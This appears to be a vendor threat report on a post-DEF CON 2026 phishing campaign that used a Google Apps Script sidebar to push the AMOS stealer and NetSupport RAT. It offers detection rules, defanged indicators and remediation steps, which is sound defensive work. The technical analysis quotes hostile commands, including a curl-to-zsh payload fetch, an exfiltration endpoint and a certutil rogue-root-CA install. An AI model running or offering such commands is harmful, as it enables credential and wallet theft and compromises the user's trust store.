Skip to navigation

Threat reportMalwareTL-2026-2449

Post-DEF CON Phishing Campaign Abuses Google Apps Script Sidebar to Deliver AMOS Stealer and NetSupport RAT

highACTIVE

A threat actor impersonating a CoinDesk VP contacted a Huntress researcher via X (Twitter) DM after Black Hat/DEF CON 2026, sending a weaponized Google Doc whose Apps Script sidebar (DecryptPanel.html) staged a fake decryption-key/ClickFix lure delivering AMOS stealer on macOS.

Key facts

IdentifiersTL-2026-2449
SeverityHIGH
First disclosed
Affected productsGoogle Google Workspace (Docs / Apps Script); Apple macOS; Microsoft Windows; NetSupport Ltd NetSupport Manager
MalwareAMOS, NetSupport RAT
ToolsNetSupport Manager
MITRE ATT&CK techniquesT1036.005 Match Legitimate Resource Name or Location, T1055.012 Process Hollowing, T1059.001 PowerShell, T1059.004 Unix Shell, T1071.001 Web Protocols, T1082 System Information Discovery, T1113 Screen Capture, T1204.001 Malicious Link, T1204.002 Malicious File, T1219 Remote Access Tools, T1543.004 Launch Daemon, T1553.002 Code Signing and 6 more in the attack flow
MotivationFINANCIAL
Target sectorscybersecurity, information technology, cryptocurrency digital assets
Target regionsNorth America
Detection rules9 (1 shown free)
Sources9 cited sources

Detection coverage

As of 2026-08-19, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2449 across Splunk SPL, Microsoft KQL and Sigma, covering 30 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: AMOS Stealer macOS LaunchDaemon Persistence and Keychain/Browser Credential Access

Detects creation of the AMOS (Atomic macOS Stealer) persistence LaunchDaemon (/Library/LaunchDaemons/com.xdivcmp.plist) and/or execution of the macOS 'security' CLI to dump Keychain generic/internet passwords, the post-exploitation credential-harvesting stage that follows the GAPIUpdate.dmg / ClickFix infection in this campaign.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1543.004, T1555.001, T1555.003, T1082
  • Data sources: osquery launchd table (macOS), osquery process_events (macOS), macOS Endpoint Security (ES) framework events
  • Severity: critical
  • Confidence: high

Splunk SPL

index=endpoint sourcetype="osquery:launchd"
| where match(path, "com\.xdivcmp\.plist")
| append [
    search index=endpoint sourcetype="osquery:process_events"
    Image="*/security" (cmdline="*find-generic-password*" OR cmdline="*find-internet-password*")
    parent_name!="Keychain Access"
  ]
| stats count min(_time) as first_seen max(_time) as last_seen by host, user, path, cmdline
| table first_seen, last_seen, host, user, path, cmdline

Microsoft KQL

DeviceFileEvents
| where Timestamp > ago(24h)
| where FolderPath has "/Library/LaunchDaemons/" and FileName =~ "com.xdivcmp.plist"
| union (
    DeviceProcessEvents
    | where Timestamp > ago(24h)
    | where FileName =~ "security" and ProcessCommandLine has_any ("find-generic-password","find-internet-password")
)
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine

Sigma

title: Suspicious 'security' CLI Keychain Dump Command (AMOS Stealer Credential Access)
id: 4c9e1b30-7f2a-4d6c-8e3b-9a5d2f7c4e88
status: experimental
description: Detects execution of the macOS 'security' command-line tool with generic/internet password dump flags, consistent with AMOS (Atomic macOS Stealer) harvesting Keychain credentials after the ClickFix/GAPIUpdate.dmg infection chain in this campaign.
references:
    - https://www.huntress.com/blog/defcon-phishing-google-doc-malware
author: Threadlinqs Team
date: 2026-09-11
tags:
    - attack.credential-access
    - attack.t1555.001
    - attack.t1555.003
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/security'
        CommandLine|contains:
            - 'find-generic-password'
            - 'find-internet-password'
    filter_interactive_user:
        ParentImage|endswith: '/Keychain Access'
    condition: selection and not filter_interactive_user
falsepositives:
    - Legitimate password-manager or IT-automation scripts that query Keychain via the security CLI
level: high

Known false positives:

  • Password-manager sync utilities or MDM compliance scripts that legitimately call the 'security' CLI outside of Keychain Access.app

Tuning notes: The 'com.xdivcmp' LaunchDaemon label is unique to this actor's build and should be treated as a critical exact-match indicator with no tuning threshold; for the Keychain-dump half of the rule, baseline legitimate password-manager processes on managed fleets and add them to filter_interactive_user to hold down false positives.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • Windows ClickFix PowerShell Downloader to Newly-Registered .lat Staging Infrastructure · unlock with TL Creds
  • MsBuild.exe Process Hollowing with Rogue Root CA Installation (Traffic-Intercepting Proxy / Ledger Implant) · unlock with TL Creds
  • Ledger Wallet Implant and web12api[.]com Launcher C2 Polling Beacon · unlock with TL Creds
  • Malware Staged Under Masqueraded Legitimate Software Names (Docker/Steam/TeraCopy) · unlock with TL Creds
  • AMOS Stealer LaunchDaemon Persistence File Creation (com.xdivcmp.plist) · unlock with TL Creds
  • NetSupport Manager RAT Kernel Keyboard-Filter Driver Load ([indicator]) · unlock with TL Creds
  • ClickFix curl-to-Shell Execution from Google Apps Script Phishing Lure (macOS) · unlock with TL Creds
  • NetSupport Manager RAT C2 Beaconing over Mislabeled HTTPS Port · unlock with TL Creds

Indicators of compromise

As of 2026-08-19, Threadlinqs Intelligence tracks 30 indicators of compromise for TL-2026-2449.

Sample indicators (3 of 30)

  • IP address: 86.54.25[.]213
  • Domain: apple-googleapi[.]com
  • URL: hxxps://github[.]com/ariasalmonterachel13/gapi/releases

Defanged, TLP:CLEAR. Full set of 30 indicators: unlock with TL Creds.

30 indicators of compromise · unlock with TL Creds. Compare plans

Community OSINT corroboration

1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

Technical analysis

A follow-up DocSend-impersonation lure then delivered NetSupport RAT, a Ledger wallet implant, and a TLS-intercepting proxy to Windows victims.

On 2026-08-09, a Huntress security researcher was contacted on X (Twitter) by an account (@HartmansDoeke) impersonating the VP and Head of Marketing of CoinDesk, using a post-conference-planning pretext to build rapport following Black Hat/DEF CON 2026. The actor shared a Google Doc containing a custom Google Apps Script sidebar (DecryptPanel.html) that displayed the document as partially encrypted and prompted the victim to enter a 'decryption key' supplied by the actor, which was engineered to fail. The sidebar then offered two infection paths: a ClickFix-style terminal-command lure or a manual download button, for both macOS and Windows. The Apps Script code contained Russian-language comments and emojis, validated hard-coded keys, and reported victim/host information to the actor via Telegram.

On macOS, the ClickFix path executed `curl -fsSL https://apple-googleapi[.]com/i | zsh` (the endpoint also redirect-looped to localhost), while the manual path fetched a GitHub-hosted `GAPIUpdate.dmg` (ad-hoc signed, requiring a Gatekeeper bypass and sudo password) that installed the AMOS (Atomic macOS Stealer) infostealer. AMOS harvested browser credentials/cookies, cryptocurrency wallets, macOS Keychain data, and Telegram files; staged data locally at `/tmp/lksopo`; exfiltrated to `http://86.54.25[.]213/log`; and persisted via a LaunchDaemon (`/Library/LaunchDaemons/com.xdivcmp.plist`) that polled `http://192.253.248[.]181/api/v1/getscpt/<username>` for shell commands and SOCKS5 proxy activation.

On Windows, the ClickFix path ran an encrypted PowerShell downloader (BitsTransfer/Invoke-WebRequest fallback against `https://1foqo[.]lat/core4`) that pulled further encrypted stages from `2fksf[.]lat` and `3pqow[.]lat`, staging binaries disguised as `DockerDesktopSvc.exe`, `SteamClientHelperHost.exe`, and `TeraCopyMonMon.exe`. The manual path used a ClickOnce manifest (`GapiUpdate.application`) signed with a stolen Norwegian company certificate (BARNEHAGEN GUNHILDS MINNE AS) that displayed a fake 'Google Workspace Marketplace' portal while installing payloads in the background.

On 2026-08-10, after the initial lure was rejected, the same actor followed up with a second campaign masquerading as a Dropbox DocSend share (`docsend[.]online`), which used user-agent sniffing to redirect macOS victims to `apple.eu03hub[.]com` (delivering a `DocSendInstaller.zip` AMOS package) and Windows victims to `microsoft.eu02hub[.]com` (delivering `DocsendInstaller.exe`, an NSIS installer wrapping an Electron app, signed with a stolen Discord Inc. certificate, presenting a fake 5-screen Dropbox onboarding carousel). This installer profiled the host (hardware ID, hostname, username, OS build, CPU/GPU/BIOS, network adapters, memory, keyboard layout) to `https://docsend[.]web12api[.]com/api/launcher/start` and executed the JSON response as an in-memory JavaScript payload via the `Function()` constructor, with no payload written to disk. A related campaign variant used SignNow branding against the same `web12api[.]com` infrastructure (`signow[.]web12api[.]com/api/launcher/start`).

The recovered follow-on JavaScript captured a desktop screenshot, then downloaded password-protected archives from `https://eu03hub[.]com/get_file?file=X` into randomized working directories, launching each payload hidden and self-elevating via `Start-Process -Verb RunAs` after a 20-second delay. Three Windows payloads were delivered: (1) NetSupport Manager v14.10.0004, a legitimate remote-administration tool repurposed as a RAT, configured with no tray icon and all alerts disabled, communicating with `msedgewebview1[.]pro`/`msedgewebview2[.]pro` and C2 IP `87.120.104[.]88` (AS211443) over cleartext HTTP mislabeled as port 443, using a commonly-shared cracked license ID ('NSM1234') and installing a kernel-mode keyboard-filter driver (`nskbfltr.sys`); operator artifacts referenced path `C:\Users\Administrator\Desktop\2RMS\client32u.ini`. (2) A traffic-intercepting proxy disguised as a Lenovo driver (stolen, invalid Lenovo certificate) that process-hollowed `MsBuild.exe`, installed a self-signed rogue root CA (`O=Google Trust Services, CN=WR3`) into the Windows trust store via `certutil -addstore -f ROOT`, forged a `www.virustotal.com` certificate, injected a hosts-file entry redirecting `www.virustotal.com` to `127.0.0.1`, and added a 'LocalProxy' firewall rule to intercept and decrypt HTTPS traffic to VirusTotal specifically. (3) A Ledger wallet implant (same stolen Lenovo certificate, same MsBuild.exe hollowing technique) that detected `Ledger Live`/`Ledger Wallet` installations, wrote a 16-hex-character bot ID to `%APPDATA%\Ledger Live\app.crc32`, and polled `https://eu07connect[.]com/api/commands/<bot id>` roughly 18 times with no observed command response; its persistence (a Run-key entry named 'Ledger Wallet Installer') pointed at a non-functional bare MsBuild.exe.

After the malware lure was rejected, the actor pivoted to a fake $1M funding/investment pretext, likely intended to harvest credentials or PII directly. No CVE applies; this is a social-engineering delivery chain abusing a legitimate Google Workspace feature (Apps Script sidebars), not a software vulnerability. Attribution is unconfirmed: Russian-language code comments/emojis and Cyrillic characters in C2 traffic were observed, but no formal threat-actor or APT-group attribution has been made. A related, earlier campaign (reported via Haveibeensquatted/GBHackers) used similar social-engineering conference targeting to deliver a different toolset (NeedleStealer, a Rust-based stealer, and a Go-based RAT), suggesting this may be part of a broader wave of post-conference targeting of security researchers rather than an isolated incident.

MITRE ATT&CK techniques by tactic:

Defense Evasion

T1036.005 Match Legitimate Resource Name or Location; T1055.012 Process Hollowing; T1620 Reflective Code Loading

Execution

T1059.001 PowerShell; T1059.004 Unix Shell; T1204.001 Malicious Link; T1204.002 Malicious File

Command and Control

T1071.001 Web Protocols; T1219 Remote Access Tools

Discovery

T1082 System Information Discovery

Collection

T1113 Screen Capture

Persistence

T1543.004 Launch Daemon

defense-impairment

T1553.002 Code Signing; T1553.004 Install Root Certificate

Credential Access

T1555.001 Keychain; T1555.003 Credentials from Web Browsers

Initial Access

T1566.003 Spearphishing via Service

Resource Development

T1583.001 Domains

Remediation

Immediate actions

  • Isolate any host where the ClickFix terminal/PowerShell commands, GAPIUpdate.dmg/.application, or DocsendInstaller.exe/.zip were executed and perform forensic collection
  • Treat any unsolicited Google Doc/Apps Script sidebar demanding a 'decryption key' as malicious; do not enter codes or run any suggested terminal, PowerShell, or 'manual download' instructions
  • Block the published C2 domains and IPs (web12api[.]com and subdomains, msedgewebview1/2[.]pro, apple-googleapi[.]com, 1foqo[.]lat, 2fksf[.]lat, 3pqow[.]lat, gapidriver[.]com, docsend[.]online) at DNS/perimeter
  • Assume credential and cryptocurrency-wallet compromise on any affected host: revoke sessions, reset passwords, rotate API keys, and move wallet funds to new addresses/hardware

Workarounds

  • Disable or tightly gate macOS Gatekeeper bypass prompts, sudo elevation requests, and Windows ClickOnce/UAC elevation prompts triggered by unsolicited installers
  • Verify code-signing certificate validity out-of-band before trusting any installer claiming to be from Google, Dropbox/DocSend, Discord, or Lenovo

Longer-term hardening

  • Deploy EDR and identity-threat-detection (ITDR) tooling, prioritizing security-industry staff who are high-value targets for post-conference social engineering
  • Run security-awareness training specifically covering ClickFix-style lures and post-conference DM-based social engineering
  • Restrict or monitor Google Apps Script sidebar execution and third-party script permissions within the organization's Google Workspace

Affected and fixed versions

  • Google — Google Workspace (Docs / Apps Script)
    Vulnerable versions: N/A - abuse of legitimate Apps Script sidebar feature, not a version-specific flaw
  • Apple — macOS
    Vulnerable versions: all supported versions, targeted via social engineering + Gatekeeper bypass
  • Microsoft — Windows
    Vulnerable versions: all supported versions, targeted via social engineering + ClickOnce/UAC bypass
  • NetSupport Ltd — NetSupport Manager
    Vulnerable versions: 14.10.0004 (cracked license, repurposed as RAT)

Timeline

  • Windows ClickFix path runs an encrypted PowerShell downloader against locked-ioc-24, staging further payloads from locked-ioc-25 and locked-ioc-26; manual path uses a stolen-certificate-signed ClickOnce installer (GapiUpdate.application).
  • macOS ClickFix path (curl|zsh) and manual GitHub-hosted locked-ioc-20 both deliver the AMOS (Atomic macOS Stealer) infostealer.
  • Actor shares a Google Doc embedding a custom Apps Script sidebar (DecryptPanel.html) that demands a 'decryption key' engineered to fail, then offers ClickFix or manual-download infection paths.
  • Threat actor DMs a Huntress researcher on X, impersonating the VP/Head of Marketing of CoinDesk (@HartmansDoeke) using a post-conference-planning pretext following Black Hat/DEF CON 2026.
  • After the malware lure is rejected, the actor pivots to a fake $1M funding/investment pretext, likely intended to harvest credentials or PII.
  • Windows DocSend installer chain deploys NetSupport Manager RAT v14.10.0004, a Ledger wallet implant, and a rogue-CA traffic-intercepting proxy targeting VirusTotal checks.
  • Actor follows up with a second lure masquerading as a Dropbox DocSend share (locked-ioc-19), redirecting victims by user-agent to platform-specific fake DocSend installers.
  • Huntress publishes a technical writeup and IOC set documenting the full campaign, authored by Principal SOC Analyst Jonathan Semon.
  • Infosecurity Magazine, SC Media, IT Pro, Information Security Buzz, IT Security Guru, Paubox, and TechNadu report on the campaign.

Sources cited

Previous and next in malware

Drafted by the Threadlinqs research pipeline from 9 sources; published ; last updated —.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats